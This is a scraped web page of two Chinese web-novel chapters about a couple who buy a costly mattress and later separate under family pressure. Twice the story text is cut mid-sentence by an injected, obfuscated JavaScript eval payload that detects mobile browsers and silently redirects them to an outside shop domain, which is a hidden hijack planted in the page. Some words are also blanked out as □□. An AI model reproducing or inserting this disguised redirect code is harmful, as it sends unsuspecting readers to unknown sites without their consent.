确实不疼了。那种常年伴随我的、像针扎一样的隐痛，此刻竟然奇迹般地消失了。 “买了吧。”他突然说。 我吓了一跳，像是个垂死病中惊坐起的人一样弹了起来——当然，因为床垫太软，这一弹并没有我想象中那么利索，反而像只翻身的乌龟。 “你疯了？”我瞪着他，“六千八！咱们下季度的房租还没交呢，而且这破出租屋，万一房东哪天不租了，这么大个东西咱们往哪搬？” “钱是王八蛋，花了再去赚。”他也坐起来，收起了刚才那种玩笑的表情，很认真地看着我，“房租我那里还有点公积金能提出来。关键是，咱们一天要在床上待八个小时，这一辈子三分之一的时间都在这上面。你算算，六千八除以十年，每天才一块八毛钱。一块八，买你腰不疼，贵吗？” 他的算术逻辑总是这么清奇，带着一种让人无法反驳的歪理邪说。 “可是……” “别可是了。”他截断我的话，手掌盖在我的手背上，温热有力，“咱俩在这大城市拼死拼活是为了什么？不就是为了哪怕住在出租屋里，也能睡个好觉吗？如果连觉都睡不好，那咱们是在这儿渡劫呢？” 我看进他的眼睛里。那双眼睛黑白分明，倒映着商场璀璨的灯光，里面没有一丝犹豫，全是心疼。 我知道，他不是为了什么“零压感”，他是为了我那每天早上起来都要僵硬半天的腰。 那一刻，商场的BGM正好切到了一首很温柔的英文歌。周围那些昂贵的家具、精致的装饰仿佛都退后了，变成了虚焦的背景。 我咬了咬牙，一种名为“冲动消费”的热血直冲脑门。 “买！”我豪气干云地拍了一下床垫，“刷卡！” 那一瞬间，我觉得我们不像是在买床垫，而像是在买一张通往新世界的船票。 …… 然而，豪气干云的后果，通常是体力的透支。 因为那是样品清仓价，不包配送上楼。送货师傅把那个卷成巨大圆柱体的床垫扔在单元楼门口，留下一句“车进不去，这老小区楼道窄，你们自己想办法吧”，然后一脚油门扬长而去。 此时，摆在我们面前的，是那个重达一百多斤、裹着厚厚塑料膜的巨□□胶卷，以及那个没有电梯、楼道堆满杂物、足足有六层的旧楼梯。 “六千八的云彩，有点沉啊。”他踢了踢那个大家伙，苦笑了一下。 “自己约的炮，含着泪也要打完。”我把羽绒服脱下来系在腰上，挽起毛衣袖子，“来吧，你是主力。” 我们像两只正在搬运一块巨大方糖的蚂蚁。 起初两层还好，虽然沉，但凭着一股“这可是六千八”的兴奋劲儿，我们喊着号子还能往上冲。 到了三楼，那股劲儿泄了。乳胶这东西，死沉死沉的，而且它是软的，没有着力点，你抓哪儿它就往哪儿塌，像是在跟一团巨大的、有意识的面团搏斗。 “歇……歇会儿……”我在三楼半的拐角处瘫倒，肺像是风箱一样呼哧呼哧地响，汗水顺着鬓角往下淌，流进眼睛里，辣得生疼。 他也没好到哪去。灰色的卫衣已经湿透了，背上印出一大片深色的水渍。他靠在满是灰尘的墙壁上，大口喘着气，脸涨得通红，像个刚跑完马拉松的关公。 楼道里的声控灯灭了。周围陷入一片昏暗，只能听到我俩粗重的呼吸声在狭窄的空间里回响。 “后悔吗？”他在黑暗中问我，声音带着喘息。 “后悔……个屁。”我抹了一把脸上的汗，“等会儿我要睡死在上面，谁叫都不起。” “行，到时候我给你端尿盆。”他笑出了声，伸手过来在黑暗中摸索到我的手，用力捏了一下，“起来，还有三层，一鼓作气。” 我们就这样，一步一个脚印，甚至是用膝盖顶、用肩膀扛、用后背推，像是在完成某种神圣的苦修仪式，终于把那个庞然大物弄进了家门。 那一刻，把床垫往客厅地上一扔，我们俩直接瘫在地板上，连根手指头都不想动。 地板很凉，但心里的火很旺。 看着那个巨大的白色圆柱体横在乱糟糟的客厅里，显得那么突兀，又那么让人充满期待。 “拆！” 稍微缓过一口气，我们又来了精神。 原来的那张旧床垫——那其实根本不能□□垫，就是一层薄薄的海绵垫子铺在木板上——被我们毫不留情地卷起来，扔到了阳台的角落里。它完成了历史使命，像个退位的旧王。 当我们把新床垫铺上床架的那一刻，一种奇妙的化学反应发生了。 那个不到十平米的卧室，因为这张床垫的加入，突然变得拥挤了起来。它太厚实了，足足有三十公分高，铺上去之后，原本低矮的床瞬间变成了一个高台。 我们拆开塑料膜。一股淡淡的、带着奶香味的橡胶味道弥漫开来。那不是刺鼻的工业味，而是某种天然的、温和的气息。 铺上床单——也是新买的，长绒棉的，摸上去软得像婴儿的皮肤。 一切就绪。 此时已经是傍晚了。窗外的天空呈现出一种深邃的靛蓝色，远处的万家灯火开始一盏盏亮起。 我们甚至没来得及洗澡，就那样带着一身的臭汗，极其虔诚地爬上了这张花费了我们巨资和半条命的床。 躺下的那一瞬间，世界静音了。 之前在商场里的那种感觉又回来了，而且因为是在自己家里，这种感觉被放大了无数倍。 那种包裹感，不像是在睡觉，而像是在被拥抱。它温柔地承接住了我所有的重量，我的脊椎一节一节地舒展开来，发出轻微的、愉悦的声响。那些因为搬运而酸痛的肌肉，此刻正被这种柔软的材质安抚着。 “值了。”他发出一声满足的谓叹，翻了个身，侧躺着看我。 房间没开灯，借着窗外的微光，我能看到他的轮廓。他的眼睛很亮，里面盛满了一种单纯的快乐。 “嗯，值了。”我也侧过身，面对着他。 两个人就这样面对面躺着，中间隔着几厘米的距离。床垫随着我们的动作微微起伏，像是在呼吸。 “你知道吗？”他突然伸出手，手指轻轻描绘着我的眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088272|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨，“刚才在楼道里搬这玩意儿的时候，我想到了什么？” “想到要把腰累断了？” “不是。”他摇摇头，手指滑下来，停在我的嘴角，“我想到了蜗牛。” “蜗牛？” “嗯。蜗牛背着个重重的壳，爬得很慢，很累。但是它从来不抱怨，因为那是它的家。不管爬到哪儿，只要缩进那个壳里，它就是安全的。”他笑了笑，声音变得很低，很温柔，“这张床垫，就是咱们的壳。” 我心里像是被什么东西撞了一下，酸酸涨涨的。 “以后要是搬家怎么办？”我问出了那个最现实的问题，“这么沉，咱俩还得再死一回。” “那就带着呗。”他回答得毫不犹豫，“以后不管去哪，哪怕是回老家，或者去别的城市，这床垫咱们都背着。哪怕以后咱们穷得只能去睡桥洞，把这垫子往桥底下一铺，那也是个五星级的桥洞。” 我忍不住笑出声来，笑着笑着，眼眶有点热。 “谁要跟你睡桥洞。”我把头埋进枕头里，声音闷闷的，“我要睡大房子。” “行，睡大房子。”他凑过来，额头抵着我的额头，“房子会有的，面包也会有的。但这张床垫，是咱们的开国元勋，得供着。” 那天晚上，我们睡得格外早。 没有玩手机，没有聊工作，甚至没有□□。我们就那样紧紧地抱在一起，像是两只冬眠的熊，陷在这个柔软的洞穴里。 我做了一个梦。 梦见我们还在搬那个床垫，但是楼梯不见了，我们踩着床垫飞了起来。它真的变成了一朵云，载着我们飘出了那个破旧的小区，飘过了拥堵的高架桥，飘到了城市的上空。风在耳边吹，但一点都不冷。他抓着我的手，指着下面灯火通明的城市说：“你看，那都是咱们的。” 第二天醒来的时候，阳光正好洒在床上。 这大概是我这两年来醒得最舒服的一次。没有腰酸背痛，没有那种仿佛被人打了一顿的疲惫感。 我睁开眼，首先看到的是他熟睡的脸。 他睡得很沉，呼吸绵长，嘴角还挂着一丝若有若无的笑意。阳光照在他脸上，甚至能看清他脸上细小的绒毛。 我没动，就这样静静地看着他。 那一刻，我觉得生活美好得不真实。 以前我觉得，幸福是那种宏大的叙事——是升职加薪，是买房买车，是站在人生巅峰一览众山小。 但现在我突然明白，幸福其实很具体，很微小，甚至很世俗。 幸福就是花掉三个月积蓄买回来的这张乳胶床垫。 幸福是昨天在楼道里累得像狗一样却依然能互相调侃的那个瞬间。 幸福是他刚才说的那句“这是咱们的壳”。 我伸出手，在他的鼻尖上轻轻刮了一下。 他皱了皱鼻子，迷迷糊糊地睁开眼。看到我，他先是愣了一秒，然后露出一个大大的笑容。 “早啊，豌豆公主。”他的声音带着刚睡醒的沙哑，“腰还疼吗？” “不疼了。”我伸了个懒腰，感觉浑身的骨头都轻了二两，“感觉能去跑个五公里。” “那就起驾吧。”他一把掀开被子，露出穿着海绵宝宝睡裤的大长腿，“今儿早饭我想吃葱油拌面，多放点焦葱。” “得令。” 我从床上爬起来，脚踩在地板上，那种脚踏实地的感觉又回来了。但这一次，因为身后的那张床，我觉得这坚硬的地板也变得温柔了起来。 厨房里很快响起了滋啦滋啦的葱油香。 我站在灶台前，看着锅里的油慢慢热起来，葱段在油里翻滚，变成诱人的焦黄色。 他正在卫生间刷牙，含混不清地哼着歌。 我想，这就够了。 真的够了。 就算外面的世界是洪水猛兽，就算我们还是那个在这个城市里没房没车的“外地人”，就算明天依然要面对还不完的信用卡和做不完的PPT。 但只要回到这里，回到这张床上。 我们就是国王。 我们在贫瘠的物质生活里，用一张昂贵的床垫，构建了一个只属于我们两个人的、具体的乌托邦。 在这个乌托邦里，时间是柔软的，爱是具体的，而未来，是可以被触摸到的。 面煮好了。我捞进碗里，浇上一大勺黑亮喷香的葱油，又卧了两个在那张“五星级”大床上睡饱了觉之后特意煎得完美的荷包蛋。 “吃饭了！”我喊了一声。 “来了！” 他趿拉着拖鞋跑出来，阳光跟在他身后，把整个屋子都照亮了。 那一刻，我觉得我们真的拥有了全世界。 或者说，比全世界更好的东西。 49. 《如果不曾遇见你》（3） 春节后的返程，总带着一种像是从深海被强行拽出水面的窒息感。 那是一年中城市最萧条的时候。街边的店铺大半还关着门，贴着红纸黑字的“初八开业”，卷帘门上积了一层薄薄的灰。路上的车很少，还没从节日的慵懒中苏醒过来，只有地铁站依然人潮汹涌，挤满了拖着巨大行李箱、脸上挂着那种“魂还没回来”表情的返工者。 我们也夹杂在其中。 他的行李箱很沉，里面塞满了他母亲硬塞给他的腊肠、腊肉，还有自家炸的酥肉。那些东西被层层叠叠的塑料袋包裹着，散发着一种陈旧而浓郁的油脂香气。那是属于另一个世界的味道——那个有父母、有亲戚、有鞭炮声和催婚压力的世界。 回到出租屋的时候，已经是深夜了。 推开门，屋子里积攒了半个月的冷清空气扑面而来。那张我们引以为傲的乳胶床垫孤零零地躺在卧室里，上面盖着防尘布，像一具被遗忘的白色雕塑。 “终于回来了。” 他放下行李箱，长出了一口气。那口气在冷空气里凝成了一团白雾，转瞬即逝。 我不动声色地观察着他。 这次从老家回来，他变了。虽然他还在笑，还在跟我抱怨高铁上那个熊孩子有多吵，还在熟练地把冰箱塞满。但他的眼神里多了一种东西。 一种很深的、像是被什么重物压过后留下的疲惫。不是那种加完班睡一觉就能缓过来的累，而是一种从骨髓里透出来的、灰败的无力。 “累了吧？先去洗澡，我把这些肉分装一下。”我说。 “嗯。”他没看我，只是低着头换鞋，动作慢吞吞的，“那……这包是给你的，全是瘦肉，我妈特意挑出来的。” 提到“妈”这个字的时候，他的声音极其细微地抖了一下。 那是一个信号。 但我选择了忽略。我像个熟练的拆弹专家，小心翼翼地绕过那根红线，笑着接过袋子：“替我谢谢阿姨，我就好这一口。” 他抬起头看了我一眼，眼神复杂得让我看不懂。像是愧疚，又像是某种欲言又止的悲哀。最后，他什么也没说，只是伸手揉了揉我的头发，转身进了浴室。 水声响起来了。 我坐在客厅的地板上，对着满地的腊味发呆。那些暗红色的肉块散发着我不熟悉的烟熏味，那是他家乡特有的味道。在这个味道里，我是个彻头彻尾的局外人。 我突然意识到，这半个月的春节，我们虽然生活在同一个时区，却像是活在两个平行的宇宙里。 我在这个空荡荡的城市里，一个人吃泡面，打游戏，享受着一种近乎凄凉的自由；而他在那个热闹的老家，面对着七大姑八大姨的审视，面对着父母小心翼翼的试探，或许，还有那些我不愿意去想的“相亲饭局”。 裂痕，大概就是在这个时候产生的。 它没有声音。不像玻璃杯摔碎在地上那样惊心动魄，倒更像是墙皮里的霉菌，在阴暗潮湿的角落里无声地蔓延，等你不经意间回头，才发现墙面早已斑驳陆离。 那天晚上，我们睡在那张昂贵的床垫上。 它依然很软，依然像云朵一样包裹着身体。但那种让人安心的“拥抱感”消失了。 我们背对背躺着。中间隔着那一尺宽的距离，却像是在两块漂浮的浮冰上，随着暗流越漂越远。 半夜，我是被冻醒的。 身边的位置是空的，凉的。 我迷迷糊糊地睁开眼，卧室的门虚掩着，客厅里没有开灯，只有阳台的方向透进来一点微弱的光亮，那是路灯折射进来的光。 我也许该翻个身继续睡，假装什么都不知道。成年人的世界里，难得糊涂是种美德。 但我鬼使神差地爬了起来。我没有穿鞋，光着脚踩在地板上，像只没有声音的猫，一步步走到卧室门口。 他在阳台上。 正值二月的倒春寒，夜里的风像刀子一样。他只穿了一件单薄的睡衣，整个人缩在阳台的角落里，像一只受了伤后躲起来舔舐伤口的野兽。 他手里夹着一支烟。火星在黑暗中忽明忽灭，照亮了他那张惨白的脸。 他没有抽，只是任由那支烟燃着。另一只手拿着手机，贴在耳边。 隔着一道玻璃门，我听不清他在说什么。 但我能看到他的姿态。 那个曾经在卫生间里把后背交给我的男人，那个曾经豪言壮语说要背着床垫睡桥洞的男人，此刻正弯着腰，脊背佝偻成一个卑微的弧度。 他面对着虚空中的某个权威，在点头，在道歉，在哀求。 风有点大，玻璃门的密封性不太好，漏进来几句破碎的话语。 “……我知道……妈，你别哭行不行……” “……我没想拖着……我真的在试了……” “……给我点时间……今年……今年一定……” 每一个字，都像是一根冰凉的钉子，精准地敲进我的耳膜里。 我站在阴影里，浑身发冷。那种冷是从脚底板窜上来的，顺着血管一路冻结到心脏。 我看到了什么？ 我看到的不是一个正在反抗包办婚姻的斗士，而是一个已经被巨大的愧疚感压垮了的儿子。 他在道歉。 他在为我们的关系，向他的父母道歉。 在那一瞬间，我突然明白了一件事：在他的潜意识里，我们的感情并不是一件理直气壮的事，而是一种“错误”，一种对他正常人生的“打扰”，一种需要被“改正”或者“原谅”的罪过。 那个我们花了六千八买回来的“乌托邦”，那个我们以为坚不可摧的堡垒，其实只存在于我一个人的幻想里。 对他来说，那张床垫不是皇宫，只是他在现实压力下喘息的一个临时防空洞。等到外面的空袭警报解除，或者当空袭猛烈到防空洞都要塌陷的时候，他会毫不犹豫地钻出去，举起白旗，回归那个“正常”的世界。 那一刻，我看着阳台上那个瑟瑟发抖的背影，突然觉得他很陌生，又很可怜。 我没有冲出去质问他。 如果是二十岁，我可能会冲出去摔了他的手机，大声问他“什么叫你在试了”、“什么叫今年一定”。 但到了这个年纪，我只学会了沉默。 我甚至在这个时候，产生了一种近乎自虐的体贴——外面太冷了，他穿那么少，明天会不会感冒？ 我悄无声息地退回了床上，重新钻进被窝里。 被窝里还有他残留的一点体温，但这温度现在烫得我浑身难受。 过了大概十分钟，我听到了轻微的推拉门声。接着是他在客厅里徘徊的脚步声，很轻，像是在犹豫。 最后，他进来了。 他在床边站了一会儿，似乎是在观察我有没有醒。 我闭着眼，调整着呼吸，甚至配合地翻了个身，发出了一声含混的梦呓。 他松了一口气。 床垫微微下陷，带着一股外面带进来的寒气和淡淡的烟草味，他躺了下来。 他并没有立刻睡，而是从后面抱住了我。 抱得很紧，勒得我肋骨生疼。他的脸埋在我的颈窝里，那一块皮肤很快就湿了。 他在哭。 无声的，压抑的，连抽泣都不敢发出声音的哭。 滚烫的眼泪流进我的睡衣领子里，却像硫酸一样腐蚀着我的皮肤。 我知道他在哭什么。 他在哭他的无能为力，在哭他对不起父母，也在哭他对不起我。他夹在两个世界中间，快被撕碎了。 可最让我绝望的是，在这个拥抱里，我感受不到爱意，只感受到了告别。 这是一种带着歉意的、预谋离开前的温存。就像是一个即将远行的旅人，在出发前最后一次抚摸他不得不遗弃的宠物。 我依然装睡。 在黑暗中，我睁着眼，看着窗帘上那一抹微弱的光斑。眼泪顺着眼角流下来，滑进鬓角里，悄无声息地被枕头吸干。 我们都在演戏。 他演一个还没想好未来的鸵鸟，我演一个一无所知的傻子。 这大概就是成年人爱情里最残忍的地方——我们明明听到了冰层碎裂的声音，却谁都不敢停下舞步，生怕一停下来，就会立刻掉进冰窟窿里。 接下来的几天，生活表面上恢复了正常。 我们照常上班，下班，吃饭，睡觉。 只是有些东西，变了。 那种变化很微妙。比如他不再跟我讨论明年的旅行计划；比如他看手机的时候总是会有意无意地避开我；比如我们在家里说话的声音变小了，像是怕惊扰了什么。 那个周末，家里的卷纸用完了。 我们像往常一样去逛超市。 那是一家很大的仓储式超市，周末人很多，喧嚣吵闹，充满了生活的热气腾腾。 推着购物车走在货架间，我们有一搭没一搭地聊着晚上吃什么。 “买点排骨吧，你想吃糖醋的还是红烧的？”他拿着两盒排骨在比对价格。 “都行。”我有些心不在焉。 就在这时，前面传来一阵小孩的尖叫笑声。 一家三口挡住了我们的路。 男人看起来跟我们差不多大，有点微胖，发际线略高，穿着那种很普通的冲锋衣。他把一个三四岁的小女孩扛在肩膀上，小女孩手里拿着个粉色的气球，一边晃一边骑着她爸爸的脖子喊“驾”。 旁边的女人一边护着孩子一边嗔怪：“你慢点，别把孩子摔了。” 很俗套的画面。俗套到如果你在电视剧里看到，会嫌弃编剧没新意。 但我停下了脚步。 因为我发现，他也停下了。 他手里还拿着那两盒排骨，目光却像是被磁铁吸住了一样，死死地盯着那一家三口。 我转过头看他。 我以为我会从他眼里看到厌烦——毕竟我们以前一起吐槽过无数次熊孩子的吵闹。我们曾自诩是“丁克主义”的拥趸，嘲笑那些为了孩子失去自我的中年人。 但我错了。 大错特错。 那一刻，我在他眼里看到了一种让我浑身血液冻结的东西。 那居然是渴望。 那居然是羡慕。 他的眼神变得很软，很温柔，嘴角甚至不自觉地微微上扬了一个弧度。他看着那个骑在父亲脖子上的小女孩，眼神里流露出一种近乎贪婪的光。 那是一种哪怕隔着五米远，都能灼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088273|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤我的光。 在那一瞬间，周围的喧嚣声仿佛都退潮了。我只能听到自己心跳的声音，一下一下，砸得我胸口发疼。 我突然意识到，原来一直以来，我都生活在一个巨大的误会里。 我以为我们是一类人。我以为我们是那种看透了世俗规则、选择在这个荒谬世界里构建自己小宇宙的“幸存者”。我以为我们之所以在一起，是因为我们都觉得“那种生活”很无聊，很平庸。 但现在，那个眼神出卖了他。 原来，他并不讨厌那种平庸。 相反，他渴望那种平庸。他渴望做一个发际线后移、穿着冲锋衣、扛着孩子逛超市的普通中年男人。他渴望那种我在他眼里读到的“安稳”和“正确”。 原来，在他的剧本里，我只是一个意外。 是一个他在年轻叛逆时、在还没准备好接受命运招安时，一段绮丽但注定要被删减的“错误章节”。 而现在，他玩够了，累了，想回家了。 他大约是想做回那个俗人。 而我，还傻傻地站在原地，守着那个根本不存在的“我们不一样”的旗帜，像个早已亡国的将军。 那个男人似乎察觉到了目光，转过头看了我们一眼。 他猛地惊醒，像是个做了坏事被抓包的孩子，慌乱地收回目光，有些手足无措地把排骨扔进购物车里。 “那个……走吧，前面人多。”他低着头，推着车就要走，脚步有些凌乱。 我站在原地，看着他略显狼狈的背影。 那一刻，我觉得自己像是个笑话。 如果他是因为不爱我了，或者爱上了别人，我或许还能愤怒，还能质问。 但不是。 他依然爱我——至少在某种程度上。但他更爱那个“正常”的世界。 这种打击是毁灭性的。因为它否定了我存在的根基。它告诉我：你的爱情在“正常的生活”面前，一文不值。 “怎么了？快点啊。”他在前面回头喊我，脸上挂着那种刻意掩饰的、略显僵硬的笑容。 我深吸了一口气，压下眼底泛起的酸涩，推着空荡荡的购物车跟了上去。 “来了。” 那天晚上，我们吃的是糖醋排骨。 他做得很好吃，酸甜适口，肉质酥烂。 但我吃在嘴里，却像是在嚼蜡。 餐桌上的气氛很诡异。我们都在努力找话题，聊工作，聊那个搞笑的综艺，聊超市里遇到的奇葩。我们拼命地用语言填补着空气中的沉默，生怕一停下来，那个在超市里的眼神就会跳出来，把我们吞噬。 “那个……”他扒了一口饭，突然开口，欲言又止。 我的心猛地提到了嗓子眼。我握着筷子的手紧了紧，指关节泛白。 来了吗？ 是要摊牌了吗？ “什么？”我看着他，尽量让自己的声音听起来平稳。 他避开了我的视线，盯着碗里的米饭，沉默了几秒，然后像是在逃避什么似的，摇了摇头：“没什么，就是想说……最近公司可能会比较忙，我可能要经常加班。” 那是谎言。 我知道那是谎言。 但我松了一口气。那口气松得太快，让我感到一阵眩晕。 “哦，好啊。”我笑着说，“正好我最近也有个项目要跟，咱们一起卷。” 你看，人有时候就是这么贱。 明明知道前面是悬崖，明明知道那把刀已经架在脖子上了，但只要它还没砍下来，我们就愿意假装它是一条项链。 晚上，我们又躺回了那张床垫上。 关了灯，房间里一片漆黑。 “晚安。”他说。 “晚安。” 我们背对背睡着。 我睁着眼，听着身后传来的呼吸声。 我想起了买床垫那天，他说我们要背着这个壳，去睡桥洞。 我想起了他说，这是我们的功臣。 多么讽刺。 这张床垫，原本是我们为了对抗地心引力买来的云彩。可现在，它变成了一片沼泽。 我们陷在里面，越挣扎，沉得越快。 我能感觉到他也没睡。他的呼吸频率不对，太轻了，像是刻意压抑着。 我们中间只隔着几十厘米的距离，但这几十厘米，隔着千山万水。隔着世俗的偏见，隔着父母的眼泪，隔着那个超市里骑在父亲脖子上的小女孩，隔着他对于“正常生活”的无限向往。 我伸出手，在黑暗中摸了摸身下的床单。 凉凉的，滑滑的。 我想，这大概就是梦醒的感觉吧。 不是那种突然惊醒的冷汗淋漓，而是一种慢慢渗透进骨子里的凉意。你清楚地知道梦结束了，天亮了，你要醒来面对那个并不温柔的世界了。 而最悲哀的是，那个造梦的人，已经先你一步，悄悄地穿好了衣服，准备推门离去。 只留你一个人，守着这张昂贵的床垫，假装还在梦里。 那一夜，风很大。窗框被吹得呜呜作响，像是在低声呜咽。 我缩成一团，抱紧了自己。 原来，哪怕睡在六千八的乳胶床垫上，人的骨头也是会疼的。 50. 《如果不曾遇见你》（4） 结局的到来，并不像电影里演的那样，伴随着雷雨交加的背景音或者歇斯底里的摔门声。 相反，它安静得像是一场重感冒后的低烧。 那是三月初的一个周五。南方的回南天到了，空气里全是水。墙壁在流汗，地板是湿滑的，连挂在阳台上的衣服都散发着一股怎么晾也晾不干的霉味。 家里变得异常整洁。 这很不正常。以往的周末，我们的客厅通常是战场——堆着没拆的快递盒、喝了一半的可乐瓶、还有两只乱扔的袜子。但最近，他开始频繁地打扫卫生。 他像是一只感知到大限将至的猫，开始焦虑地清理自己的气味，试图把这个空间还原成我一个人住时的样子。 那天晚上，我下班回来，看到他坐在阳台的那把双人摇椅上。 那是我们之前“斥巨资”买回来的、用来幻想“一起摇到八十岁”的椅子。此刻，他一个人坐在上面，没有摇，只是静静地看着窗外灰蒙蒙的天空。脚边放着一个不知从哪翻出来的旧纸箱。 我换鞋的手顿了一下。 那一瞬间，我听到了头顶那把悬了很久的闸刀，“咔嚓”一声，落了下来。 没有血光四溅，只有钝痛。 “回来了？”他转过头，声音很轻，像是怕惊扰了空气中的尘埃。 “嗯。”我走过去，尽量像往常一样把包扔在沙发上，“今晚吃什么？” 他在那一刻避开了我的视线。 “我们……谈谈吧。” 这句话，是所有爱情死刑判决书的卷首语。 我站在客厅中央，看着他。奇怪的是，我心里没有一丝恐慌。那种感觉就像是一个得了绝症的病人，在经历了漫长的化疗和折磨后，终于听医生说“停止治疗吧”时，感到的那种解脱。 终于不用装了。 终于不用在半夜假装听不见他在阳台的哭声了。 终于不用在超市里因为看到别人一家三口而心惊胆战了。 “好。”我给自己倒了一杯水，坐在他对面的小板凳上。 他没敢看我，低着头，双手交握在一起，指关节用力到发白。 “家里……给我安排了工作。”他开口了，声音干涩，“在老家。事业单位，挺稳的。” 我握着水杯的手指紧了一下，温热的玻璃壁烫得指尖发麻。 “挺好。”我说，“离家近，阿姨身体不好，也能照应。” 他猛地抬起头，眼神里全是错愕和痛苦。他大概预想过我会哭，会闹，会质问他“我们的未来怎么办”，但他没想过我会这么平静地帮他找借口。 “对不起……”他的眼圈瞬间红了，“真的对不起……我不想走，可是……” “可是你扛不住了。”我接过了他的话，语气平静得连我自己都害怕，“我知道。房租涨了，你爸那个体检报告也不好，还有……我也累了。” 谎言。 我不累。我还想跟他在这个破出租屋里死磕到底。我还想跟他睡在那张乳胶床垫上，哪怕外面洪水滔天。 但我不能说。 因为他已经决定要做个逃兵了。如果这时候我还要冲上去当烈士，只会让他显得更加不堪。 爱到最后，竟然变成了对他“平庸”的成全。 接下来的两天，成了我人生中最漫长、也最残忍的四十八小时。 如果在说完分手后他立刻消失，我也许还能痛痛快快地大醉一场。但他没有。他留下来了，为了那一箱还没寄走的行李，也为了那点该死的、无处安放的愧疚感。 他开始对我进行一场名为“善后”的温柔凌迟。 周六一大早，我被一阵窸窸窣窣的声音吵醒。 睁开眼，看到他正蹲在床边，手里拿着螺丝刀，在拧床头柜的一颗松动的螺丝。 “吵醒你了？”他动作停了一下，歉意地笑了笑，“这柜子晃了好久了，我想着走之前给你修好。” 我不说话，翻个身，用被子蒙住头。 眼泪流进枕头里。 求你了，别修了。坏着就坏着吧。你修好了它，是在提醒我，以后再坏了，就没人给我修了。 但他停不下来。 他像是个即将离职的负责任的员工，在拼命地做工作交接。 那一整天，他在屋子里转来转去。 我在冰箱上发现了一张黄色的便签纸，上面是他那熟悉的、略显潦草的字迹： 1. 燃气卡充值要去小区南门那个红旗超市，记得带现金，那老头脾气怪，不会用微信，也不收支付宝。卡快没钱了会响三声，别等到断气了再充，冬天没热水很难受。 2. 胃药我给你分好了。那个蓝盒子的斯达舒是疼得厉害时吃的，一次两粒；白盒子的那个是养胃的，饭前吃。你别老空腹喝冰美式，那个真的伤胃。 3. 楼下王大爷家的猫有时候会跑到咱们门口拉屎，你别骂它，给它扔根火腿肠它就走了。 4. …… 密密麻麻，写满了整张纸。 我站在冰箱前，看着这张像是“独居生存指南”一样的便签，心脏像是被人用钝刀子来回锯。 他把我的生活解构了。 那些以前我从来不用操心的小事——水电费去哪交、垃圾分类怎么分、网络故障打哪个电话——现在全都被他一一列出来，硬塞回我手里。 他越是写得详细，我就越是绝望。 因为这证明，他是真的经过了深思熟虑，真的在脑海里演练过无数次“没有他之后我要怎么活”。 这不仅是分手，这是他在一点点把自己从我的生命里剥离出去，还要确保手术伤口缝合得漂亮，不留后患。 这种“体贴”，比直接给我一巴掌还要毒。 下午的时候，他在收拾那个收纳箱。 “这些厚衣服我都给你洗了晒过了，放在最下面这层。”他一边叠着我的毛衣一边说，“这里樟脑丸味有点大，你穿之前记得挂阳台上吹吹。” 我坐在沙发上，手里拿着一本书，却一个字也没看进去。 我看着他的背影。宽厚，温暖，穿着那件我给他买的灰色卫衣。 “那个……”他突然停下动作，犹豫了一下，“那把吉他，你也带不走吧？” 那是他大学时买的吉他，虽然很久不弹了，但一直被他当宝贝一样挂在墙上。 “嗯，太大了，不好寄。”他说，“留给你吧。你无聊的时候可以扒拉两下。” “我不会弹。”我冷冷地说。 “很简单的，我教过你几个和弦……” “我忘了。”我打断他。 他沉默了。 屋子里的空气粘稠得让人窒息。 “还有那个……”他指了指阳台上的双人摇椅，“那个要是占地方，你就挂闲鱼卖了吧。应该能卖个两三百。” 我看着那把椅子。那是我们在这个城市里造梦的证据。现在梦醒了，证据就成了废品，要被折价处理。 “扔了吧。”我说，“没人会买这种东西。” 他张了张嘴，似乎想反驳，但最后只是叹了口气：“行，随你。” 到了晚上，最残忍的一幕来了。 吃完晚饭——那是我们最后的晚餐，也是外卖，因为冰箱已经被清空了——他走进卧室，拍了拍那张巨大的乳胶床垫。 “过来搭把手。”他说。 “干嘛？” “把它翻个面。”他有些费力地抬起床垫的一角，“你之前不是说这一面睡久了有点塌，腰不舒服吗？反面还是新的，硬一点，对你腰好。” 我站在卧室门口，看着那个白色的庞然大物。 我想起半年前，我们把它搬上楼时的那个夜晚。那时候我们累得像狗，却笑得像两个拥有了全世界的国王。他说这是我们的壳，我们要背着它去睡桥洞。 现在，壳还在，蜗牛要跑了。 “不用翻了。”我感觉喉咙里堵着一团棉花，“反正我也睡不了多久了。” “快点，趁我在。”他坚持着，额角渗出了汗珠，“你自己弄不动的，这玩意儿死沉。” 我走过去，抓住床垫的另一角。 真的很沉。 乳胶这种材质，软绵绵的，毫无借力点。它像是一具沉重的尸体，死气沉沉地压在床架上。 “一，二，三，起！” 我们喊着号子，像以前一样。 肌肉紧绷，发力，抬起，翻转。 “砰”的一声闷响。 床垫翻过来了。那一瞬间扬起的微尘在灯光下飞舞。 他喘着粗气，拍了拍手上的灰，露出一个像是完成了一项大工程后的释然笑容：“好了。这面够硬，你今晚试试，绝对不腰疼。” 我看着他额头上的汗，突然觉得无比荒谬。 都要走了，都要把我一个人扔在这个空荡荡的房间里了，你为什么还要在乎我的腰疼不疼？ 这种廉价的、剩余的温柔，到底是在安抚我，还是在安抚你自己那该死的良心？ “这床垫……”我盯着那片洁白的乳胶，声音有些发颤，“你不带走吗？六千八买的。” 他正在整理床单的手僵住了。 过了几秒，他直起腰，看着床垫，眼神里闪过一丝极深的不舍，但很快就被一种无奈掩盖了。 